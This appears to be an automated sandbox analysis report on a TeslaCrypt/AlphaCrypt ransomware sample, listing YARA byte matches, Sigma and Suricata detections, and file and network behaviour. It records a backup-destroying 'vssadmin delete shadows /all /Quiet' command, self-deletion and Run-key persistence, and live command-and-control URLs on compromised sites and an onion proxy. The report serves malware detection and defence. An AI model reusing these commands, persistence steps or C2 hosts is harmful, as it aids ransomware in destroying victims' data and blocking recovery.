D1 F8 52 8D 78 01 E8 89 0C 01 00 83 C4 04 8B F0 57 56 E8 B8 0A 01 00 8B 3D CC 12 43 00 68 28 49 43 ... 0x19430:$server_communication_4_0_1: 55 8B EC 83 E4 F8 B8 D4 19 00 00 E8 50 26 01 00 A1 7C A0 43 00 33 C4 89 84 24 0x1d2e0:$server_communication_4_0_1: 55 8B EC 83 E4 F8 B8 78 20 00 00 E8 A0 E7 00 00 A1 7C A0 43 00 33 C4 89 84 24 0x19430:$server_communication_4_1b_1: 55 8B EC 83 E4 F8 B8 D4 19 00 00 E8 0x1d2e0:$server_communication_4_1b_1: 55 8B EC 83 E4 F8 B8 78 20 00 00 E8 0x1d9b0:$file_search_3_1: 55 8B EC B8 94 58 01 00 E8 D3 E0 00 00 A1 7C A0 43 00 33 C5 89 45 FC 53 56 57 33 C0 68 FE 1F 00 00 50 8D 8D FE DF FF FF 51 66 89 85 FC DF FF FF E8 0x12ef7:$search_and_encrypt_3_1: 8B C3 83 C4 0C 8D 50 02 90 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 D1 F8 83 F8 03 76 19 68 CC 48 43 00 8D 85 F8 DF FF FF 68 00 10 00 00 50 E8 F6 0C 01 00 83 C4 0C 8D 8D D4 BD FF FF 51 8D 95 F8 ...
0.2.0t8amSU3vd.exe.520000.1.raw.unpack	Win32_Ransomware_Teslacrypt	unknown	ReversingLabs	0x19436:$server_communication_2_0_4e: B8 D4 19 00 00 E8 50 26 01 00 A1 7C A0 43 00 33 C4 89 84 24 D0 19 00 00 83 3D 74 CD 4B 00 01 53 56 57 75 12 C7 44 24 14 18 4B 43 00 C7 44 24 1C 20 4B 43 00 EB 1A A1 1C CA 43 00 50 C7 44 24 18 ... 0x12db0:$search_and_encrypt_2_0_4e_1: 55 8B EC B8 5C 42 00 00 E8 D3 8C 01 00 A1 7C A0 43 00 33 C5 89 45 FC 53 8B 5D 08 56 57 33 C0 68 FE 1F 00 00 50 8D 8D FA DF FF FF 51 66 89 85 F8 DF FF FF E8 28 7F 01 00 83 C4 0C 33 D2 68 FE 1F ... 0x12e56:$search_and_encrypt_2_0_4e_2: 0F 84 95 02 00 00 F6 85 A8 BD FF FF 10 0F 84 96 01 00 00 8D 8D D4 BD FF FF B8 1C 49 43 00 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 02 66 3B 51 02 75 0F 83 C0 04 83 C1 04 66 85 D2 75 DE ... 0x12ef7:$search_and_encrypt_2_0_4e_3: 8B C3 83 C4 0C 8D 50 02 90 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 D1 F8 83 F8 03 76 19 68 CC 48 43 00 8D 85 F8 DF FF FF 68 00 10 00 00 50 E8 F6 0C 01 00 83 C4 0C 8D 8D D4 BD FF FF 51 8D 95 F8 ... 0x12f86:$search_and_encrypt_2_0_4e_4: 8D 8D F8 DF FF FF B8 20 0B 4D 00 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 02 66 3B 51 02 75 0F 83 C0 04 83 C1 04 66 85 D2 75 DE 33 C0 EB 05 1B C0 83 D8 FF 85 C0 0F 84 10 01 00 00 8B 45 ... 0x13045:$search_and_encrypt_2_0_4e_5: 8D 85 D4 BD FF FF 83 C4 0C 8D 50 02 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 8D 95 D4 BD FF FF D1 F8 52 8D 78 01 E8 89 0C 01 00 83 C4 04 8B F0 57 56 E8 B8 0A 01 00 8B 3D CC 12 43 00 68 28 49 43 ... 0x19430:$server_communication_4_0_1: 55 8B EC 83 E4 F8 B8 D4 19 00 00 E8 50 26 01 00 A1 7C A0 43 00 33 C4 89 84 24 0x1d2e0:$server_communication_4_0_1: 55 8B EC 83 E4 F8 B8 78 20 00 00 E8 A0 E7 00 00 A1 7C A0 43 00 33 C4 89 84 24 0x19430:$server_communication_4_1b_1: 55 8B EC 83 E4 F8 B8 D4 19 00 00 E8 0x1d2e0:$server_communication_4_1b_1: 55 8B EC 83 E4 F8 B8 78 20 00 00 E8 0x1d9b0:$file_search_3_1: 55 8B EC B8 94 58 01 00 E8 D3 E0 00 00 A1 7C A0 43 00 33 C5 89 45 FC 53 56 57 33 C0 68 FE 1F 00 00 50 8D 8D FE DF FF FF 51 66 89 85 FC DF FF FF E8 0x12ef7:$search_and_encrypt_3_1: 8B C3 83 C4 0C 8D 50 02 90 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 D1 F8 83 F8 03 76 19 68 CC 48 43 00 8D 85 F8 DF FF FF 68 00 10 00 00 50 E8 F6 0C 01 00 83 C4 0C 8D 8D D4 BD FF FF 51 8D 95 F8 ...
0.2.0t8amSU3vd.exe.520000.1.unpack	Win32_Ransomware_Teslacrypt	unknown	ReversingLabs	0x18836:$server_communication_2_0_4e: B8 D4 19 00 00 E8 50 26 01 00 A1 7C A0 43 00 33 C4 89 84 24 D0 19 00 00 83 3D 74 CD 4B 00 01 53 56 57 75 12 C7 44 24 14 18 4B 43 00 C7 44 24 1C 20 4B 43 00 EB 1A A1 1C CA 43 00 50 C7 44 24 18 ... 0x121b0:$search_and_encrypt_2_0_4e_1: 55 8B EC B8 5C 42 00 00 E8 D3 8C 01 00 A1 7C A0 43 00 33 C5 89 45 FC 53 8B 5D 08 56 57 33 C0 68 FE 1F 00 00 50 8D 8D FA DF FF FF 51 66 89 85 F8 DF FF FF E8 28 7F 01 00 83 C4 0C 33 D2 68 FE 1F ... 0x12256:$search_and_encrypt_2_0_4e_2: 0F 84 95 02 00 00 F6 85 A8 BD FF FF 10 0F 84 96 01 00 00 8D 8D D4 BD FF FF B8 1C 49 43 00 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 02 66 3B 51 02 75 0F 83 C0 04 83 C1 04 66 85 D2 75 DE ... 0x122f7:$search_and_encrypt_2_0_4e_3: 8B C3 83 C4 0C 8D 50 02 90 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 D1 F8 83 F8 03 76 19 68 CC 48 43 00 8D 85 F8 DF FF FF 68 00 10 00 00 50 E8 F6 0C 01 00 83 C4 0C 8D 8D D4 BD FF FF 51 8D 95 F8 ... 0x12386:$search_and_encrypt_2_0_4e_4: 8D 8D F8 DF FF FF B8 20 0B 4D 00 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 02 66 3B 51 02 75 0F 83 C0 04 83 C1 04 66 85 D2 75 DE 33 C0 EB 05 1B C0 83 D8 FF 85 C0 0F 84 10 01 00 00 8B 45 ... 0x12445:$search_and_encrypt_2_0_4e_5: 8D 85 D4 BD FF FF 83 C4 0C 8D 50 02 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 8D 95 D4 BD FF FF D1 F8 52 8D 78 01 E8 89 0C 01 00 83 C4 04 8B F0 57 56 E8 B8 0A 01 00 8B 3D CC 12 43 00 68 28 49 43 ... 0x18830:$server_communication_4_0_1: 55 8B EC 83 E4 F8 B8 D4 19 00 00 E8 50 26 01 00 A1 7C A0 43 00 33 C4 89 84 24 0x1c6e0:$server_communication_4_0_1: 55 8B EC 83 E4 F8 B8 78 20 00 00 E8 A0 E7 00 00 A1 7C A0 43 00 33 C4 89 84 24 0x18830:$server_communication_4_1b_1: 55 8B EC 83 E4 F8 B8 D4 19 00 00 E8 0x1c6e0:$server_communication_4_1b_1: 55 8B EC 83 E4 F8 B8 78 20 00 00 E8 0x1cdb0:$file_search_3_1: 55 8B EC B8 94 58 01 00 E8 D3 E0 00 00 A1 7C A0 43 00 33 C5 89 45 FC 53 56 57 33 C0 68 FE 1F 00 00 50 8D 8D FE DF FF FF 51 66 89 85 FC DF FF FF E8 0x122f7:$search_and_encrypt_3_1: 8B C3 83 C4 0C 8D 50 02 90 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 D1 F8 83 F8 03 76 19 68 CC 48 43 00 8D 85 F8 DF FF FF 68 00 10 00 00 50 E8 F6 0C 01 00 83 C4 0C 8D 8D D4 BD FF FF 51 8D 95 F8 ...
13.2.svcmtr.exe.400000.1.unpack	Win32_Ransomware_Teslacrypt	unknown	ReversingLabs	0x19436:$server_communication_2_0_4e: B8 D4 19 00 00 E8 50 26 01 00 A1 7C A0 43 00 33 C4 89 84 24 D0 19 00 00 83 3D 74 CD 4B 00 01 53 56 57 75 12 C7 44 24 14 18 4B 43 00 C7 44 24 1C 20 4B 43 00 EB 1A A1 1C CA 43 00 50 C7 44 24 18 ... 0x12db0:$search_and_encrypt_2_0_4e_1: 55 8B EC B8 5C 42 00 00 E8 D3 8C 01 00 A1 7C A0 43 00 33 C5 89 45 FC 53 8B 5D 08 56 57 33 C0 68 FE 1F 00 00 50 8D 8D FA DF FF FF 51 66 89 85 F8 DF FF FF E8 28 7F 01 00 83 C4 0C 33 D2 68 FE 1F ... 0x12e56:$search_and_encrypt_2_0_4e_2: 0F 84 95 02 00 00 F6 85 A8 BD FF FF 10 0F 84 96 01 00 00 8D 8D D4 BD FF FF B8 1C 49 43 00 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 02 66 3B 51 02 75 0F 83 C0 04 83 C1 04 66 85 D2 75 DE ... 0x12ef7:$search_and_encrypt_2_0_4e_3: 8B C3 83 C4 0C 8D 50 02 90 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 D1 F8 83 F8 03 76 19 68 CC 48 43 00 8D 85 F8 DF FF FF 68 00 10 00 00 50 E8 F6 0C 01 00 83 C4 0C 8D 8D D4 BD FF FF 51 8D 95 F8 ... 0x12f86:$search_and_encrypt_2_0_4e_4: 8D 8D F8 DF FF FF B8 20 0B 4D 00 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 02 66 3B 51 02 75 0F 83 C0 04 83 C1 04 66 85 D2 75 DE 33 C0 EB 05 1B C0 83 D8 FF 85 C0 0F 84 10 01 00 00 8B 45 ... 0x13045:$search_and_encrypt_2_0_4e_5: 8D 85 D4 BD FF FF 83 C4 0C 8D 50 02 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 8D 95 D4 BD FF FF D1 F8 52 8D 78 01 E8 89 0C 01 00 83 C4 04 8B F0 57 56 E8 B8 0A 01 00 8B 3D CC 12 43 00 68 28 49 43 ... 0x19430:$server_communication_4_0_1: 55 8B EC 83 E4 F8 B8 D4 19 00 00 E8 50 26 01 00 A1 7C A0 43 00 33 C4 89 84 24 0x1d2e0:$server_communication_4_0_1: 55 8B EC 83 E4 F8 B8 78 20 00 00 E8 A0 E7 00 00 A1 7C A0 43 00 33 C4 89 84 24 0x19430:$server_communication_4_1b_1: 55 8B EC 83 E4 F8 B8 D4 19 00 00 E8 0x1d2e0:$server_communication_4_1b_1: 55 8B EC 83 E4 F8 B8 78 20 00 00 E8 0x1d9b0:$file_search_3_1: 55 8B EC B8 94 58 01 00 E8 D3 E0 00 00 A1 7C A0 43 00 33 C5 89 45 FC 53 56 57 33 C0 68 FE 1F 00 00 50 8D 8D FE DF FF FF 51 66 89 85 FC DF FF FF E8 0x12ef7:$search_and_encrypt_3_1: 8B C3 83 C4 0C 8D 50 02 90 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 D1 F8 83 F8 03 76 19 68 CC 48 43 00 8D 85 F8 DF FF FF 68 00 10 00 00 50 E8 F6 0C 01 00 83 C4 0C 8D 8D D4 BD FF FF 51 8D 95 F8 ...
2.2.svcmtr.exe.400000.1.unpack	Win32_Ransomware_Teslacrypt	unknown	ReversingLabs	0x19436:$server_communication_2_0_4e: B8 D4 19 00 00 E8 50 26 01 00 A1 7C A0 43 00 33 C4 89 84 24 D0 19 00 00 83 3D 74 CD 4B 00 01 53 56 57 75 12 C7 44 24 14 18 4B 43 00 C7 44 24 1C 20 4B 43 00 EB 1A A1 1C CA 43 00 50 C7 44 24 18 ... 0x12db0:$search_and_encrypt_2_0_4e_1: 55 8B EC B8 5C 42 00 00 E8 D3 8C 01 00 A1 7C A0 43 00 33 C5 89 45 FC 53 8B 5D 08 56 57 33 C0 68 FE 1F 00 00 50 8D 8D FA DF FF FF 51 66 89 85 F8 DF FF FF E8 28 7F 01 00 83 C4 0C 33 D2 68 FE 1F ... 0x12e56:$search_and_encrypt_2_0_4e_2: 0F 84 95 02 00 00 F6 85 A8 BD FF FF 10 0F 84 96 01 00 00 8D 8D D4 BD FF FF B8 1C 49 43 00 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 02 66 3B 51 02 75 0F 83 C0 04 83 C1 04 66 85 D2 75 DE ... 0x12ef7:$search_and_encrypt_2_0_4e_3: 8B C3 83 C4 0C 8D 50 02 90 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 D1 F8 83 F8 03 76 19 68 CC 48 43 00 8D 85 F8 DF FF FF 68 00 10 00 00 50 E8 F6 0C 01 00 83 C4 0C 8D 8D D4 BD FF FF 51 8D 95 F8 ... 0x12f86:$search_and_encrypt_2_0_4e_4: 8D 8D F8 DF FF FF B8 20 0B 4D 00 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 02 66 3B 51 02 75 0F 83 C0 04 83 C1 04 66 85 D2 75 DE 33 C0 EB 05 1B C0 83 D8 FF 85 C0 0F 84 10 01 00 00 8B 45 ... 0x13045:$search_and_encrypt_2_0_4e_5: 8D 85 D4 BD FF FF 83 C4 0C 8D 50 02 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 8D 95 D4 BD FF FF D1 F8 52 8D 78 01 E8 89 0C 01 00 83 C4 04 8B F0 57 56 E8 B8 0A 01 00 8B 3D CC 12 43 00 68 28 49 43 ... 0x19430:$server_communication_4_0_1: 55 8B EC 83 E4 F8 B8 D4 19 00 00 E8 50 26 01 00 A1 7C A0 43 00 33 C4 89 84 24 0x1d2e0:$server_communication_4_0_1: 55 8B EC 83 E4 F8 B8 78 20 00 00 E8 A0 E7 00 00 A1 7C A0 43 00 33 C4 89 84 24 0x19430:$server_communication_4_1b_1: 55 8B EC 83 E4 F8 B8 D4 19 00 00 E8 0x1d2e0:$server_communication_4_1b_1: 55 8B EC 83 E4 F8 B8 78 20 00 00 E8 0x1d9b0:$file_search_3_1: 55 8B EC B8 94 58 01 00 E8 D3 E0 00 00 A1 7C A0 43 00 33 C5 89 45 FC 53 56 57 33 C0 68 FE 1F 00 00 50 8D 8D FE DF FF FF 51 66 89 85 FC DF FF FF E8 0x12ef7:$search_and_encrypt_3_1: 8B C3 83 C4 0C 8D 50 02 90 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 D1 F8 83 F8 03 76 19 68 CC 48 43 00 8D 85 F8 DF FF FF 68 00 10 00 00 50 E8 F6 0C 01 00 83 C4 0C 8D 8D D4 BD FF FF 51 8D 95 F8 ...
Click to see the 10 entries

Sigma Signatures

System Summary

Sigma detected: DNS Query Tor .Onion Address - Sysmon

Source: DNS query

Author: frack113: Data: Image: C:\Users\user\AppData\Roaming\svcmtr.exe, QueryName: zpr5huq4bgmutfnf.onion.to

Sigma detected: Shadow Copies Deletion Using Operating Systems Utilities

Source: Process started

Author: Florian Roth (Nextron Systems), Michael Haag, Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community, Andreas Hunkeler (@Karneades): Data: Command: "C:\Windows\System32\vssadmin.exe" delete shadows /all /Quiet , CommandLine: "C:\Windows\System32\vssadmin.exe" delete shadows /all /Quiet , CommandLine|base64offset|contains: u^, Image: C:\Windows\System32\vssadmin.exe, NewProcessName: C:\Windows\System32\vssadmin.exe, OriginalFileName: C:\Windows\System32\vssadmin.exe, ParentCommandLine: C:\Users\user\AppData\Roaming\svcmtr.exe, ParentImage: C:\Users\user\AppData\Roaming\svcmtr.exe, ParentProcessId: 3504, ParentProcessName: svcmtr.exe, ProcessCommandLine: "C:\Windows\System32\vssadmin.exe" delete shadows /all /Quiet , ProcessId: 3636, ProcessName: vssadmin.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Roaming\svcmtr.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Roaming\svcmtr.exe, ProcessId: 3504, TargetObject: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\E722D94C1CAC34B

Sigma detected: Suspicious DNS Query for IP Lookup Service APIs

Source: DNS query

Author: Brandon George (blog post), Thomas Patzke: Data: Image: C:\Users\user\AppData\Roaming\svcmtr.exe, QueryName: ipinfo.io

Sigma detected: Use NTFS Short Name in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\system32\cmd.exe" /c del C:\Users\user\Desktop\0T8AMS~1.EXE >> NUL, CommandLine: "C:\Windows\system32\cmd.exe" /c del C:\Users\user\Desktop\0T8AMS~1.EXE >> NUL, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\0t8amSU3vd.exe", ParentImage: C:\Users\user\Desktop\0t8amSU3vd.exe, ParentProcessId: 3452, ParentProcessName: 0t8amSU3vd.exe, ProcessCommandLine: "C:\Windows\system32\cmd.exe" /c del C:\Users\user\Desktop\0T8AMS~1.EXE >> NUL, ProcessId: 3532, ProcessName: cmd.exe

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Roaming\svcmtr.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Roaming\svcmtr.exe, ProcessId: 3504, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\E722D94C1CAC34B

Sigma detected: Modification of IE Registry Settings

Source: Registry Key set

Author: frack113: Data: Details: 46 00 00 00 2A 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 00 00 00 C0 A8 02 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Roaming\svcmtr.exe, ProcessId: 3504, TargetObject: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings

Suricata Signatures

ET MALWARE AlphaCrypt CnC Beacon 3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-08T21:09:59.404903+0100	2021723	1	Malware Command and Control Activity Detected	192.168.2.22	49164	199.116.254.169	80	TCP
2025-01-08T21:10:02.476308+0100	2021723	1	Malware Command and Control Activity Detected	192.168.2.22	49165	185.230.63.171	80	TCP
2025-01-08T21:10:03.336051+0100	2021723	1	Malware Command and Control Activity Detected	192.168.2.22	49166	185.230.63.171	443	TCP
2025-01-08T21:10:04.741113+0100	2021723	1	Malware Command and Control Activity Detected	192.168.2.22	49167	34.149.87.45	443	TCP
2025-01-08T21:10:05.429191+0100	2021723	1	Malware Command and Control Activity Detected	192.168.2.22	49168	67.22.44.2	80	TCP

ETPRO MALWARE AlphaCrypt .onion Proxy Domain

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-08T21:10:08.210773+0100	2812134	1	A Network Trojan was detected	192.168.2.22	63926	8.8.8.8	53	UDP
2025-01-08T21:10:08.228147+0100	2812134	1	A Network Trojan was detected	192.168.2.22	65510	8.8.8.8	53	UDP

ETPRO MALWARE AlphaCrypt CnC Beacon 4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-08T21:09:59.404903+0100	2813018	1	Malware Command and Control Activity Detected	192.168.2.22	49164	199.116.254.169	80	TCP
2025-01-08T21:10:02.476308+0100	2813018	1	Malware Command and Control Activity Detected	192.168.2.22	49165	185.230.63.171	80	TCP
2025-01-08T21:10:05.429191+0100	2813018	1	Malware Command and Control Activity Detected	192.168.2.22	49168	67.22.44.2	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-08T21:09:37.821207+0100	2803274	2	Potentially Bad Traffic	192.168.2.22	49163	34.117.59.81	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 0t8amSU3vd.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://serenitynowbooksandgifts.com/wp-content/themes/r.php?D0B1745184D4B19325F8CA239D78E804ABD3496	Avira URL Cloud: Label: malware
Source: http://ezglobalmarketing.com/wp-content/themes/r.php?D0B1745184D4B19325F8CA239D78E804ABD3496A84C9188	Avira URL Cloud: Label: malware
Source: https://zpr5huq4bgmutfnf.tor2web.org/inst.php?D0B1745184D4B19325F8CA239D78E804ABD3496A84C918846496CD	Avira URL Cloud: Label: malware
Source: http://serenitynowbooksandgifts.com/wp-content/themes/r.php?D0B1745184D4B19325F8CA239D78E804ABD3496A84C918846496CD97797104275B69DB8A8C4068125492B32EB37B14D06B1F0ACC7D785D9C3713D805BC844CFB276EA1E45EFCDFBCC2AE3ED592D28886FB0E5BED1BC965BF2FBEAAB49990078AA4D876A90C62830BBA201E36D4B4D38988D11DE0B3635F5AD99270B087204BF636044B17069B5451B4B2AD146AFCE933E23D0BF085567F9DE7B6C0446D7B4A25A85DC92602B4A566325A924DE498C743DE86E56DEC092D8E1DC4D0D20931C25E7D53671538B32008CB2D6A0884D4B875FFFD208FE7C46FE57E409CB96CE738DA867312A20F0BDFF7692ACD754569A975	Avira URL Cloud: Label: malware
Source: https://www.serenitynowbooksandgifts.com/	Avira URL Cloud: Label: malware
Source: https://www.serenitynowbooksandgifts.com/wp-content/themes/r.php?D0B1745184D4B19325F8CA239D78E804ABD3496A84C918846496CD97797104275B69DB8A8C4068125492B32EB37B14D06B1F0ACC7D785D9C3713D805BC844CFB276EA1E45EFCDFBCC2AE3ED592D28886FB0E5BED1BC965BF2FBEAAB49990078AA4D876A90C62830BBA201E36D4B4D38988D11DE0B3635F5AD99270B087204BF636044B17069B5451B4B2AD146AFCE933E23D0BF085567F9DE7B6C0446D7B4A25A85DC92602B4A566325A924DE498C743DE86E56DEC092D8E1DC4D0D20931C25E7D53671538B32008CB2D6A0884D4B875FFFD208FE7C46FE57E409CB96CE738DA867312A20F0BDFF7692ACD754569A975=	Avira URL Cloud: Label: malware
Source: http://serenitynowbooksandgifts.com/wp-content/themes/r.php?D0B1745184D4B19325F8CA239D78E804ABD3496A	Avira URL Cloud: Label: malware
Source: https://www.serenitynowbooksandgifts.com/wp-content/themes/r.php?D0B1745184D4B19325F8CA239D78E804ABD	Avira URL Cloud: Label: malware
Source: https://serenitynowbooksandgifts.com/	Avira URL Cloud: Label: malware
Source: https://serenitynowbooksandgifts.com/wp-content/themes/r.php?D0B1745184D4B19325F8CA239D78E804ABD3496A84C918846496CD97797104275B69DB8A8C4068125492B32EB37B14D06B1F0ACC7D785D9C3713D805BC844CFB276EA1E45EFCDFBCC2AE3ED592D28886FB0E5BED1BC965BF2FBEAAB49990078AA4D876A90C62830BBA201E36D4B4D38988D11DE0B3635F5AD99270B087204BF636044B17069B5451B4B2AD146AFCE933E23D0BF085567F9DE7B6C0446D7B4A25A85DC92602B4A566325A924DE498C743DE86E56DEC092D8E1DC4D0D20931C25E7D53671538B32008CB2D6A0884D4B875FFFD208FE7C46FE57E409CB96CE738DA867312A20F0BDFF7692ACD754569A975	Avira URL Cloud: Label: malware
Source: https://zpr5huq4bgmutfnf.tor2web.org	Avira URL Cloud: Label: malware

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\svcmtr.exe

ReversingLabs: Detection: 91%

Multi AV Scanner detection for submitted file

Source: 0t8amSU3vd.exe

ReversingLabs: Detection: 91%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for sample

Source: 0t8amSU3vd.exe

Joe Sandbox ML: detected

Source: file:///C:/Users/user/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/restore_files_gpmus.html

HTTP Parser: No favicon

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Unpacked PE file: 0.2.0t8amSU3vd.exe.400000.0.unpack
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Unpacked PE file: 2.2.svcmtr.exe.400000.1.unpack
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Unpacked PE file: 11.2.svcmtr.exe.400000.1.unpack
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Unpacked PE file: 12.2.svcmtr.exe.400000.1.unpack
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Unpacked PE file: 13.2.svcmtr.exe.400000.1.unpack

Source: 0t8amSU3vd.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe	Directory created: C:\Program Files\Google
Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe	Directory created: C:\Program Files\Google\GoogleUpdater
Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe	Directory created: C:\Program Files\chrome_BITS_2696_1526441409

Source: unknown	HTTPS traffic detected: 185.230.63.171:443 -> 192.168.2.22:49166 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.87.45:443 -> 192.168.2.22:49167 version: TLS 1.2

Source: C:\Users\user\AppData\Roaming\svcmtr.exe

Directory queried: number of queries: 1023

Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Code function: 0_2_004139B0 _memset,_memset,FindFirstFileW,__wcsdup,wcsstr,wcsstr,wcsstr,wcsstr,_free,FindNextFileW,FindClose,		0_2_004139B0
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 2_2_004139B0 _memset,_memset,FindFirstFileW,__wcsdup,wcsstr,wcsstr,wcsstr,wcsstr,_free,FindNextFileW,FindClose,		2_2_004139B0

Source: C:\Users\user\Desktop\0t8amSU3vd.exe

Code function: 0_2_00413780 GetLogicalDriveStringsW,_memset,GetVolumeInformationW,GetDriveTypeW,GetVolumeInformationW,ExitThread,

0_2_00413780

Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\AppCache\V607KDWC\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Outlook\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\PlayReady\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\PlayReady\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\1033\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\1033\restore_files_gpmus.txt	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2812134 - Severity 1 - ETPRO MALWARE AlphaCrypt .onion Proxy Domain : 192.168.2.22:63926 -> 8.8.8.8:53
Source: Network traffic	Suricata IDS: 2021723 - Severity 1 - ET MALWARE AlphaCrypt CnC Beacon 3 : 192.168.2.22:49164 -> 199.116.254.169:80
Source: Network traffic	Suricata IDS: 2813018 - Severity 1 - ETPRO MALWARE AlphaCrypt CnC Beacon 4 : 192.168.2.22:49164 -> 199.116.254.169:80
Source: Network traffic	Suricata IDS: 2021723 - Severity 1 - ET MALWARE AlphaCrypt CnC Beacon 3 : 192.168.2.22:49165 -> 185.230.63.171:80
Source: Network traffic	Suricata IDS: 2813018 - Severity 1 - ETPRO MALWARE AlphaCrypt CnC Beacon 4 : 192.168.2.22:49165 -> 185.230.63.171:80
Source: Network traffic	Suricata IDS: 2812134 - Severity 1 - ETPRO MALWARE AlphaCrypt .onion Proxy Domain : 192.168.2.22:65510 -> 8.8.8.8:53
